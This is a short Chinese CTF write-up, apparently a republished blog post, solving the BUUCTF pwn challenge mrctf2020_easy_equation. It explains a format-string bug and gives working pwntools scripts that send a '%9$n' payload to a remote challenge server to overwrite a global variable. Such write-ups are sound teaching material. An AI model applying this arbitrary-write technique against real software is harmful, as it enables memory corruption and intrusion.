BUUCTF(pwn)mrctf2020_easy_equation
生活随笔
收集整理的這篇文章主要介紹了
BUUCTF(pwn)mrctf2020_easy_equation
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
這道題是個相對簡單的格式化字符串的題目, 但是做題過程中需要自己的一些debug調試查看;
計算偏移量
初看偏移量是8;
構建初始payload,EXP;payload="aa%8$n"+p64(judge)
from pwn import* context.log_level='debug' p=remote('node3.buuoj.cn',27636) judge=0x60105c payload="aa%8$n"+p64(judge) p.sendline(payload) p.interactive()由于64位傳參,可能存在被/x00截斷的情況,
所以偏移這里是9
改payload="aa%9$nAAA"+p64(judge)
from pwn import* context.log_level='debug' p=remote('node3.buuoj.cn',27636) judge=0x60105c payload="aa%9$nAAA"+p64(judge) p.sendline(payload) p.interactive()AAA用來補站位;
%n:將%n之前printf已經打印的字符個數賦值給偏移處指針所指向的地址位置
總結
以上是生活随笔為你收集整理的BUUCTF(pwn)mrctf2020_easy_equation的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: BUUCTF(pwn)铁人三项(第五赛区
- 下一篇: BUUCTF(pwn)jarvisoj_